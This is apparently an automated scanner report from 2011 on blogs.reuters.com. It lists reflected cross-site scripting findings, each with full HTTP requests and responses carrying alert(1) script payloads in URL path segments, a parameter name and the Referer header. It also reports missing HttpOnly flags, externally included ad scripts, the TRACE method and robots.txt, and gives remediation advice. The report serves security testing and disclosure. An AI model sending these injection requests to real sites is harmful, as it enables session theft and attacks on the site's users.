Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.
The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.
Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).
The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.
Issue remediation
In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:
Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).
In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ceb7f"><script>alert(1)</script>20774f637da was submitted in the REST URL parameter 2. This input was echoed as ceb7f\"><script>alert(1)</script>20774f637da in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /pakistan/2011ceb7f"><script>alert(1)</script>20774f637da/03/08/from-afghanistan-to-libya-rethinking-the-role-of-the-military/ HTTP/1.1 Host: blogs.reuters.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.0 404 Not Found Date: Sun, 13 Mar 2011 03:04:22 GMT Server: Apache X-Pingback: http://blogs.reuters.com/pakistan/xmlrpc.php Set-Cookie: PHPSESSID=63ha5jpenl0qpelc7njjqpsqh6; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Set-Cookie: ReutersBlogZone=us; path=/ Set-Cookie: ReutersBlogZoneSource=fallback+zone+%28us%29; path=/ Connection: close Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns:og="http://opengraphprotocol.org/schema/" xmlns:fb="http: ...[SNIP]... <meta property="og:url" content="http://blogs.reuters.com/pakistan/2011ceb7f\"><script>alert(1)</script>20774f637da/03/08/from-afghanistan-to-libya-rethinking-the-role-of-the-military/" /> ...[SNIP]...
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 27bf4"><script>alert(1)</script>c302dbd99fa was submitted in the REST URL parameter 3. This input was echoed as 27bf4\"><script>alert(1)</script>c302dbd99fa in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /pakistan/2011/0327bf4"><script>alert(1)</script>c302dbd99fa/08/from-afghanistan-to-libya-rethinking-the-role-of-the-military/ HTTP/1.1 Host: blogs.reuters.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.0 404 Not Found Date: Sun, 13 Mar 2011 03:05:03 GMT Server: Apache X-Pingback: http://blogs.reuters.com/pakistan/xmlrpc.php Set-Cookie: PHPSESSID=0ooiksblj4kpe5cbrq73blk457; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Set-Cookie: ReutersBlogZone=us; path=/ Set-Cookie: ReutersBlogZoneSource=fallback+zone+%28us%29; path=/ Connection: close Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns:og="http://opengraphprotocol.org/schema/" xmlns:fb="http: ...[SNIP]... <meta property="og:url" content="http://blogs.reuters.com/pakistan/2011/0327bf4\"><script>alert(1)</script>c302dbd99fa/08/from-afghanistan-to-libya-rethinking-the-role-of-the-military/" /> ...[SNIP]...
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 97044"><script>alert(1)</script>4e8dd6f1ce0 was submitted in the REST URL parameter 4. This input was echoed as 97044\"><script>alert(1)</script>4e8dd6f1ce0 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /pakistan/2011/03/0897044"><script>alert(1)</script>4e8dd6f1ce0/from-afghanistan-to-libya-rethinking-the-role-of-the-military/ HTTP/1.1 Host: blogs.reuters.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.0 404 Not Found Date: Sun, 13 Mar 2011 03:05:56 GMT Server: Apache X-Pingback: http://blogs.reuters.com/pakistan/xmlrpc.php Set-Cookie: PHPSESSID=86d6s7hfo59gipk160mjh80jo5; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Set-Cookie: ReutersBlogZone=us; path=/ Set-Cookie: ReutersBlogZoneSource=fallback+zone+%28us%29; path=/ Connection: close Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns:og="http://opengraphprotocol.org/schema/" xmlns:fb="http: ...[SNIP]... <meta property="og:url" content="http://blogs.reuters.com/pakistan/2011/03/0897044\"><script>alert(1)</script>4e8dd6f1ce0/from-afghanistan-to-libya-rethinking-the-role-of-the-military/" /> ...[SNIP]...
The value of REST URL parameter 5 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ff1ed"><script>alert(1)</script>0a9ba7d6d07 was submitted in the REST URL parameter 5. This input was echoed as ff1ed\"><script>alert(1)</script>0a9ba7d6d07 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /pakistan/2011/03/08/from-afghanistan-to-libya-rethinking-the-role-of-the-militaryff1ed"><script>alert(1)</script>0a9ba7d6d07/ HTTP/1.1 Host: blogs.reuters.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.0 404 Not Found Date: Sun, 13 Mar 2011 03:06:48 GMT Server: Apache X-Pingback: http://blogs.reuters.com/pakistan/xmlrpc.php Set-Cookie: PHPSESSID=1dr28rvv6rp8ahn2elubmfbtj6; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Set-Cookie: ReutersBlogZone=us; path=/ Set-Cookie: ReutersBlogZoneSource=fallback+zone+%28us%29; path=/ Connection: close Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns:og="http://opengraphprotocol.org/schema/" xmlns:fb="http: ...[SNIP]... <meta property="og:url" content="http://blogs.reuters.com/pakistan/2011/03/08/from-afghanistan-to-libya-rethinking-the-role-of-the-militaryff1ed\"><script>alert(1)</script>0a9ba7d6d07/" /> ...[SNIP]...
1.5. http://blogs.reuters.com/pakistan/2011/03/08/from-afghanistan-to-libya-rethinking-the-role-of-the-military/ [name of an arbitrarily supplied request parameter]previousnext
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 55be2"><script>alert(1)</script>5b1e876ebe7 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 55be2\"><script>alert(1)</script>5b1e876ebe7 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /pakistan/2011/03/08/from-afghanistan-to-libya-rethinking-the-role-of-the-military/?55be2"><script>alert(1)</script>5b1e876ebe7=1 HTTP/1.1 Host: blogs.reuters.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Sun, 13 Mar 2011 03:02:50 GMT Server: Apache X-Pingback: http://blogs.reuters.com/pakistan/xmlrpc.php Set-Cookie: ReutersBlogZone=us; path=/ Set-Cookie: ReutersBlogZoneSource=fallback+zone+%28us%29; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 108459
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns:og="http://opengraphprotocol.org/schema/" xmlns:fb="http: ...[SNIP]... <meta property="og:url" content="http://blogs.reuters.com/pakistan/2011/03/08/from-afghanistan-to-libya-rethinking-the-role-of-the-military/?55be2\"><script>alert(1)</script>5b1e876ebe7=1" /> ...[SNIP]...
The value of the Referer HTTP header is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload cb965"><script>alert(1)</script>4ce22f54156 was submitted in the Referer HTTP header. This input was echoed as cb965\"><script>alert(1)</script>4ce22f54156 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Request
GET /pakistan/2011/03/08/from-afghanistan-to-libya-rethinking-the-role-of-the-military/ HTTP/1.1 Host: blogs.reuters.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Referer: http://www.google.com/search?hl=en&q=cb965"><script>alert(1)</script>4ce22f54156
Response
HTTP/1.1 200 OK Date: Sun, 13 Mar 2011 03:03:45 GMT Server: Apache X-Pingback: http://blogs.reuters.com/pakistan/xmlrpc.php Set-Cookie: ReutersBlogZone=us; path=/ Set-Cookie: ReutersBlogZoneSource=fallback+zone+%28us%29; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 108223
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns:og="http://opengraphprotocol.org/schema/" xmlns:fb="http: ...[SNIP]... <meta name="rtrref" content="http://www.google.com/search?hl=en&q=cb965\"><script>alert(1)</script>4ce22f54156" /> ...[SNIP]...
Sensitive information within URLs may be logged in various locations, including the user's browser, the web server, and any forward or reverse proxy servers between the two endpoints. URLs may also be displayed on-screen, bookmarked or emailed around by users. They may be disclosed to third parties via the Referer header when any off-site links are followed. Placing session tokens into the URL increases the risk that they will be captured by an attacker.
Issue remediation
The application should use an alternative mechanism for transmitting session tokens, such as HTTP cookies or hidden fields in forms that are submitted using the POST method.
Request
GET /pakistan/2011/03/08/from-afghanistan-to-libya-rethinking-the-role-of-the-military/ HTTP/1.1 Host: blogs.reuters.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Sun, 13 Mar 2011 03:02:30 GMT Server: Apache X-Pingback: http://blogs.reuters.com/pakistan/xmlrpc.php Set-Cookie: ReutersBlogZone=us; path=/ Set-Cookie: ReutersBlogZoneSource=fallback+zone+%28us%29; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 108152
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns:og="http://opengraphprotocol.org/schema/" xmlns:fb="http: ...[SNIP]... </script>
When an application includes a script from an external domain, this script is executed by the browser within the security context of the invoking application. The script can therefore do anything that the application's own scripts can do, such as accessing application data and performing actions within the context of the current user.
If you include a script from an external domain, then you are trusting that domain with the data and functionality of your application, and you are trusting the domain's own security to prevent an attacker from modifying the script to perform malicious actions within your application.
Issue remediation
Scripts should not be included from untrusted domains. If you have a requirement which a third-party script appears to fulfil, then you should ideally copy the contents of that script onto your own domain and include it from there. If that is not possible (e.g. for licensing reasons) then you should consider reimplementing the script's functionality within your own code.
Request
GET /pakistan/2011/03/08/from-afghanistan-to-libya-rethinking-the-role-of-the-military/ HTTP/1.1 Host: blogs.reuters.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Sun, 13 Mar 2011 03:02:30 GMT Server: Apache X-Pingback: http://blogs.reuters.com/pakistan/xmlrpc.php Set-Cookie: ReutersBlogZone=us; path=/ Set-Cookie: ReutersBlogZoneSource=fallback+zone+%28us%29; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 108152
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns:og="http://opengraphprotocol.org/schema/" xmlns:fb="http: ...[SNIP]... <div class="ad"> <script language="JavaScript" src="http://ad.doubleclick.net/adj/us.reuters/news/blogs;type=leaderboard;tile=1;sz=728x90;ord=72254?" type="text/javascript"></script> ...[SNIP]... <!-- begin ad tag --> <script language="JavaScript" src="http://ad.doubleclick.net/adj/us.reuters/news/blogs;type=mpu;tile=2;sz=300x250;ord=72254?" type="text/javascript"></script> ...[SNIP]... <!-- END OF SmartSource Data Collector TAG -->
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Issue background
If the HttpOnly attribute is set on a cookie, then the cookie's value cannot be read or set by client-side JavaScript. This measure can prevent certain client-side attacks, such as cross-site scripting, from trivially capturing the cookie's value via an injected script.
Issue remediation
There is usually no good reason not to set the HttpOnly flag on all cookies. Unless you specifically require legitimate client-side scripts within your application to read or set a cookie's value, you should set the HttpOnly flag by including this attribute within the relevant Set-cookie directive.
You should be aware that the restrictions imposed by the HttpOnly flag can potentially be circumvented in some circumstances, and that numerous other serious attacks can be delivered by client-side script injection, aside from simple cookie stealing.
Request
GET /pakistan/2011/03/08/from-afghanistan-to-libya-rethinking-the-role-of-the-military/ HTTP/1.1 Host: blogs.reuters.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Sun, 13 Mar 2011 03:02:30 GMT Server: Apache X-Pingback: http://blogs.reuters.com/pakistan/xmlrpc.php Set-Cookie: ReutersBlogZone=us; path=/ Set-Cookie: ReutersBlogZoneSource=fallback+zone+%28us%29; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 108152
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns:og="http://opengraphprotocol.org/schema/" xmlns:fb="http: ...[SNIP]...
The TRACE method is designed for diagnostic purposes. If enabled, the web server will respond to requests which use the TRACE method by echoing in its response the exact request which was received.
Although this behaviour is apparently harmless in itself, it can sometimes be leveraged to support attacks against other application users. If an attacker can find a way of causing a user to make a TRACE request, and can retrieve the response to that request, then the attacker will be able to capture any sensitive data which is included in the request by the user's browser, for example session cookies or credentials for platform-level authentication. This may exacerbate the impact of other vulnerabilities, such as cross-site scripting.
Issue remediation
The TRACE method should be disabled on the web server.
The file robots.txt is used to give instructions to web robots, such as search engine crawlers, about locations within the web site which robots are allowed, or not allowed, to crawl and index.
The presence of the robots.txt does not in itself present any kind of security vulnerability. However, it is often used to identify restricted or private areas of a site's contents. The information in the file may therefore help an attacker to map out the site's contents, especially if some of the locations identified are not linked from elsewhere in the site. If the application relies on robots.txt to protect access to these areas, and does not enforce proper access control over them, then this presents a serious vulnerability.
Issue remediation
The robots.txt file is not itself a security threat, and its correct use can represent good practice for non-security reasons. You should not assume that all web robots will honour the file's instructions. Rather, assume that attackers will pay close attention to any locations identified in the file. Do not rely on robots.txt to provide any kind of protection over unauthorised access.
Request
GET /robots.txt HTTP/1.0 Host: blogs.reuters.com
Response
HTTP/1.1 200 OK Date: Sun, 13 Mar 2011 03:02:32 GMT Server: Apache Last-Modified: Tue, 07 Dec 2010 15:30:07 GMT ETag: "3790048-8e-496d3adeb7dc0" Accept-Ranges: bytes Content-Length: 142 Connection: close Content-Type: text/plain; charset=UTF-8